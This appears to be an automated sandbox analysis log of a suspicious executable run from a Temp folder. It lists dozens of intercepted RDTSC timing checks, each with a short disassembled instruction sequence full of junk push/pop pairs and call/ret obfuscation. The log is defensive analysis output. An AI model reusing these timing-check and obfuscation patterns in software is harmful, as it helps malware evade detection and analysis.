Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A9D19B second address: A9D1A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A9D1A0 second address: A9D1B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE3588107D0h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A9D90E second address: A9D912 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A9FEA2 second address: A9FEA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AA0885 second address: AA088A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AA0AC1 second address: AA0AC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AA0D43 second address: AA0D61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d jo 00007FE3589D55B6h 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AA14D0 second address: AA14D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AA1ECF second address: AA1ED9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FE3589D55B6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AA2E59 second address: AA2E71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3588107D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AA2E71 second address: AA2F25 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007FE3589D55C9h 0x0000000f mov si, 6297h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007FE3589D55B8h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push eax 0x00000034 call 00007FE3589D55B8h 0x00000039 pop eax 0x0000003a mov dword ptr [esp+04h], eax 0x0000003e add dword ptr [esp+04h], 0000001Bh 0x00000046 inc eax 0x00000047 push eax 0x00000048 ret 0x00000049 pop eax 0x0000004a ret 0x0000004b jmp 00007FE3589D55C8h 0x00000050 push esi 0x00000051 pop esi 0x00000052 xchg eax, ebx 0x00000053 push edi 0x00000054 pushad 0x00000055 push esi 0x00000056 pop esi 0x00000057 jmp 00007FE3589D55BAh 0x0000005c popad 0x0000005d pop edi 0x0000005e push eax 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007FE3589D55C9h 0x00000067 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AA38EB second address: AA38F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE3588107CCh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AA3675 second address: AA367B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AA367B second address: AA367F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AA367F second address: AA368D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AA4E69 second address: AA4E6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AA5A8E second address: AA5A92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AA5A92 second address: AA5B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 add edi, dword ptr [ebp+122D1D5Bh] 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007FE3588107C8h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D1CA6h], ebx 0x00000030 xor esi, 31A5D9B4h 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebp 0x0000003b call 00007FE3588107C8h 0x00000040 pop ebp 0x00000041 mov dword ptr [esp+04h], ebp 0x00000045 add dword ptr [esp+04h], 0000001Bh 0x0000004d inc ebp 0x0000004e push ebp 0x0000004f ret 0x00000050 pop ebp 0x00000051 ret 0x00000052 or edi, 7250B859h 0x00000058 xchg eax, ebx 0x00000059 push ecx 0x0000005a jp 00007FE3588107C8h 0x00000060 push ebx 0x00000061 pop ebx 0x00000062 pop ecx 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 jng 00007FE3588107C8h 0x0000006c pushad 0x0000006d popad 0x0000006e rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AA6701 second address: AA6708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AA6708 second address: AA670D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AA63E4 second address: AA6411 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE3589D55C3h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AA6411 second address: AA6415 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AAA979 second address: AAA9DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FE3589D55BBh 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e jmp 00007FE3589D55C0h 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007FE3589D55BFh 0x0000001b pop edi 0x0000001c pop edi 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push eax 0x00000022 call 00007FE3589D55B8h 0x00000027 pop eax 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c add dword ptr [esp+04h], 00000014h 0x00000034 inc eax 0x00000035 push eax 0x00000036 ret 0x00000037 pop eax 0x00000038 ret 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c push ecx 0x0000003d ja 00007FE3589D55B6h 0x00000043 pop ecx 0x00000044 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AA9BB3 second address: AA9BB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AA9BB7 second address: AA9BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AABA83 second address: AABA8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AACBBA second address: AACBC0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AABC58 second address: AABD1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FE3588107DCh 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 mov ebx, 573B97E3h 0x00000015 push dword ptr fs:[00000000h] 0x0000001c push 00000000h 0x0000001e push eax 0x0000001f call 00007FE3588107C8h 0x00000024 pop eax 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 add dword ptr [esp+04h], 0000001Ah 0x00000031 inc eax 0x00000032 push eax 0x00000033 ret 0x00000034 pop eax 0x00000035 ret 0x00000036 mov ebx, dword ptr [ebp+122D3B18h] 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 and bh, FFFFFF93h 0x00000046 mov eax, dword ptr [ebp+122D14C1h] 0x0000004c push 00000000h 0x0000004e push eax 0x0000004f call 00007FE3588107C8h 0x00000054 pop eax 0x00000055 mov dword ptr [esp+04h], eax 0x00000059 add dword ptr [esp+04h], 0000001Ch 0x00000061 inc eax 0x00000062 push eax 0x00000063 ret 0x00000064 pop eax 0x00000065 ret 0x00000066 mov dword ptr [ebp+122D346Dh], ebx 0x0000006c push FFFFFFFFh 0x0000006e mov ebx, 7DB503E5h 0x00000073 nop 0x00000074 jo 00007FE3588107DBh 0x0000007a push ecx 0x0000007b jmp 00007FE3588107D3h 0x00000080 pop ecx 0x00000081 push eax 0x00000082 push eax 0x00000083 push edx 0x00000084 jng 00007FE3588107CCh 0x0000008a jbe 00007FE3588107C6h 0x00000090 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AABD1E second address: AABD23 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AADB95 second address: AADB9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AADB9B second address: AADC2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007FE3589D55B8h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 mov edi, dword ptr [ebp+122D1CC8h] 0x0000002c jp 00007FE3589D55C2h 0x00000032 jns 00007FE3589D55BCh 0x00000038 push 00000000h 0x0000003a call 00007FE3589D55C8h 0x0000003f mov edi, edx 0x00000041 pop edi 0x00000042 push 00000000h 0x00000044 push 00000000h 0x00000046 push ebx 0x00000047 call 00007FE3589D55B8h 0x0000004c pop ebx 0x0000004d mov dword ptr [esp+04h], ebx 0x00000051 add dword ptr [esp+04h], 00000016h 0x00000059 inc ebx 0x0000005a push ebx 0x0000005b ret 0x0000005c pop ebx 0x0000005d ret 0x0000005e stc 0x0000005f xchg eax, esi 0x00000060 push ecx 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AACD57 second address: AACD5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AACD5D second address: AACDB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 pushad 0x0000000a xor ax, 7902h 0x0000000f popad 0x00000010 push dword ptr fs:[00000000h] 0x00000017 mov edi, 5E01F2CDh 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 push 00000000h 0x00000025 push ebx 0x00000026 call 00007FE3589D55B8h 0x0000002b pop ebx 0x0000002c mov dword ptr [esp+04h], ebx 0x00000030 add dword ptr [esp+04h], 00000014h 0x00000038 inc ebx 0x00000039 push ebx 0x0000003a ret 0x0000003b pop ebx 0x0000003c ret 0x0000003d mov edi, 3CEBD800h 0x00000042 mov eax, dword ptr [ebp+122D14CDh] 0x00000048 adc di, A0A4h 0x0000004d push FFFFFFFFh 0x0000004f mov edi, dword ptr [ebp+122D360Dh] 0x00000055 nop 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AACDB9 second address: AACDC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AACDC5 second address: AACDC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AADD7E second address: AADD82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AADD82 second address: AADD92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3589D55BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AB12EA second address: AB12F4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE3588107C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AB12F4 second address: AB131A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE3589D55C3h 0x00000008 jmp 00007FE3589D55BDh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007FE3589D55BCh 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AB1559 second address: AB1579 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FE3588107D2h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AB5A3F second address: AB5A43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AB6989 second address: AB6993 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FE3588107C6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AB6993 second address: AB6997 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AB78FF second address: AB796C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE3588107C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007FE3588107D7h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007FE3588107C8h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e push edi 0x0000002f mov ebx, 74ED219Ah 0x00000034 pop edi 0x00000035 push 00000000h 0x00000037 jc 00007FE3588107CCh 0x0000003d sub dword ptr [ebp+122D368Ah], ebx 0x00000043 xchg eax, esi 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007FE3588107CCh 0x0000004b rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AB796C second address: AB7971 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AB5B8C second address: AB5B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AB6B2D second address: AB6B37 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE3589D55B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AB5B91 second address: AB5C06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jnc 00007FE3588107C6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FE3588107C8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 mov dword ptr [ebp+122D1CC8h], eax 0x0000002f push dword ptr fs:[00000000h] 0x00000036 mov edi, dword ptr [ebp+122D1C76h] 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 mov edi, dword ptr [ebp+122D3890h] 0x00000049 mov eax, dword ptr [ebp+122D0F49h] 0x0000004f mov bx, 5613h 0x00000053 push eax 0x00000054 mov dword ptr [ebp+12467635h], edx 0x0000005a pop edi 0x0000005b push FFFFFFFFh 0x0000005d mov bx, dx 0x00000060 nop 0x00000061 push eax 0x00000062 push edx 0x00000063 jnl 00007FE3588107C8h 0x00000069 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AB6B37 second address: AB6B65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FE3589D55B6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 pop eax 0x00000014 jmp 00007FE3589D55C9h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AB5C06 second address: AB5C10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FE3588107C6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AB5C10 second address: AB5C1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AB8986 second address: AB898A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AB7A76 second address: AB7A80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FE3589D55B6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AB9871 second address: AB98DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE3588107D1h 0x00000008 jmp 00007FE3588107D7h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 mov dword ptr [ebp+1247144Ah], esi 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007FE3588107C8h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 00000018h 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 mov dword ptr [ebp+12455D16h], edi 0x0000003b push 00000000h 0x0000003d mov edi, dword ptr [ebp+122D1DD8h] 0x00000043 push eax 0x00000044 pushad 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: ABBDD3 second address: ABBDDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: A65947 second address: A6594D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AC30DF second address: AC30E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AC3397 second address: AC339B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AC339B second address: AC33A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AC33A8 second address: AC33B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE3588107C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AC33B3 second address: AC33DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE3589D55C7h 0x00000009 jmp 00007FE3589D55BDh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AD3134 second address: AD313A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AD313A second address: AD313E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AD313E second address: AD3142 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AD3142 second address: AD3151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	RDTSC instruction interceptor: First address: AD3151 second address: AD3155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
